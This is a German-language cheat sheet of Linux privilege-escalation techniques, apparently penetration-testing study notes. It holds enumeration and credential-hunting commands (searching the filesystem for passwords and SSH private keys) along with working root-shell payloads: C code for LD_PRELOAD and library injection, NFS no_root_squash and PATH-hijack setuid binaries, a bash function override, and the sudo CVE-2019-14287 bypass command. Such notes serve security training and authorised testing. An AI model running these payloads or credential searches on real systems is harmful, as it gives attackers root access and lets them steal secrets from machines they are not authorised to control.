Skip to content

Privilege Escalation

sudo -l # https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-command-suid-binary-without-command-path Ist eine Datei ohne Pfad Angegeben, kann dies ausgenutzt werden und eine eigene executable mit root rechten ausgeführt werden.

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; # SUID sudo -V # Findout if vulnerable sudo version exists

cron crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Full tty

script /dev/null -c bash

Enumeration

history # Eingegebene Befehle anzeigen
hostname
uname -a # Betriebssystem
cat /proc/version # Betriebssystem
cat /etc/issue 
lscpu # CPU Infos
ps aux # Laufende Prozesse
id # Nutzer und Gruppen

Network Enum

ip a
ip route
ip neigh # ARP
netstat -ano # Offene Verbindungen

Binary Ausnutzung

https://gtfobins.github.io/ https://gtfoargs.github.io/gtfoargs/tar/

Replace python library

Es ist möglich eine Python library zu überschreiben, wenn eine python Datei mit dem Namen der Library in dem CWD existiert.

timer und cron

Auf Linux gibt es meistens die zwei Timer crontab und systemctl.

crontab -u <user> -l
systemctl list-timers --all
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root  2>/dev/null | grep -v "^#"

Prozesse monitoren

https://github.com/DominicBreuker/pspy?tab=readme-ov-file

Passwörter

grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2>/dev/null
locate pass # pw password 
find / -name id_rsa 2>/dev/null # andere Möglichkeit: authorized_keys

Kernel Exploits

Es ist sehr einfach und zielführund den Befehl uname -a auszuwerten und dann selbst nach einem passenden Exploit zu Googlen.

LD_PRELOAD

Mit LD_PRELOAD ist es möglich Librarys schon vorzuladen. Sollte der Befehl sudo -l zeigen, dass dies aktiviert ist, kann dies für Privilege Escalation genutzt werden.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init(){
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}_
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=<PATH TO LIB> <BIN THAT CAN BE RAN AS ROOT>

NFS Root Squashing

Wenn ein geteilter Ordner die Option no_root_squash besitzt, bedeutet dies, dass dieser Mountbar ist und geteilt werden kann. Um zu testen, ob es diese Option gibt kann cat /etc/exports genutzt werden. Um dies durchzuführen, muss vom Angreifer aus, das Verzeichnis gemountet werden:

showmount -e <VICTIM> # Zeigt Verzeichnisse, die gemountet werden können
mount -o rw,vers2 <VICTIM>:<DATEI SHARE> <MOUNTPOINT>
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > <SCHADCODE>.c
gcc <SCHADCODE>.c -o <MOUNTPOINT>/<SCHADCODE>
chmod +x <MOUNTPOINT>/SCHADCODE>
Mit der Option no_root_squash bleiben die root Rechte an einer Datei erhalten, wenn diese mit root erstellt wurden. Mit root_squash werden diese Rechte aus Sicherheitsgründen herabgestuft.

Sqlite

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null Dump Database sqlite3 <DB> .dump

SUID

find / -perm -u=s -type f 2>/dev/null

Umgebungsvariablen

Die Umgebungsvariablen sind userweit verfügbar. Und können mit env aufgerufen werden. Ruft ein Kommando ein Kommando auf, ohne den Pfad zu spezifizieren, kann der Pfad geändert werden und ein Programm eingeschleust werden, wie im Beispiel mit service gemacht wurde. Um zu prüfen, ob eine executable ausgeführt wird kann das kommando strings genutzt werden.

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.c
gcc /tmp/service.c -o /tmp/service
export PATH:$PATH
Wird der Pfad angegeben, kann dies auch ausgenutzt werden.
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p}
export -f /usr/sbin/service # Die Variable /usr/sbin/service wird dem User zur Verfügung gestellt

Library Injection

Kann ein Programm mit erweiterten Rechten ausgeführt werden und greift dabei auf eine nicht existente Library zu, kann diese injiziert werden. Um dies zu prüfen kann das Kommando strace <PROGRAM> 2>&1 | grep "No such file|open|access" verwendet werden.

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
gcc -shared -fPIC -o <OUTPUT> <FILE>

Capabilities

Um eine Capability anzuzeigen kann das Kommando getcap -r / 2>/dev/null genutzt werden um alle Programme mit Capabilities anzuzeigen. Hat eine capability den Zusatz +ep ist die Capability e effective und p permitted, kann also benutzt werden.

Sudo Exploits

Security Bypass(CVE-2019-14287)

In Sudo <1.8.28 ist es möglichein Kommando als anderer User auszuführen. Dazu muss dem User verboten werden, etwas als root auszuführen: (ALL, !root) /bin/bash. Dann führt das folgende Kommando zum exploit: sudo -u#-1 /bin/bash. Sudo prüft dabei nicht, ob die Benutzerkennung existiert und führt den Befehl mit einer beliebigen Benutzererkennung mit dem sudo Privileg aus.

Sudo Buffer Overflow(CVE-2019-18634)

In den Sudo Versionen 1.7.1 bis 1.8.30 gibt es einen exploit in der pwfeedback Funktion. Allerdings ist pwfeedback in den meisen Linux versionen standardmäßig nicht aktiviert. Die pwfeedback Funktion führt dazu, dass bei der Eingabe eines Passwortes jedes eingegebene Zeichen durch ein * abgebildet wird. Einem User ist es möglich einen stack basierten bufferoverflow auszunutzen, dazu muss dieser User auch nicht in der sudoers stehen. Mit sudo -l kann geprüft werden, ob pwfeedback aktiviert ist. Für nutzer ohne sudo rechte geht dies auch: https://www.sudo.ws/security/advisories/pwfeedback/

Tools

LinPEAS LinEnum linux exploit suggester linuxprivchecker.py

Resourcen

https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/ https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html https://github.com/TCM-Course-Resources/Linux-Privilege-Escalation-Resources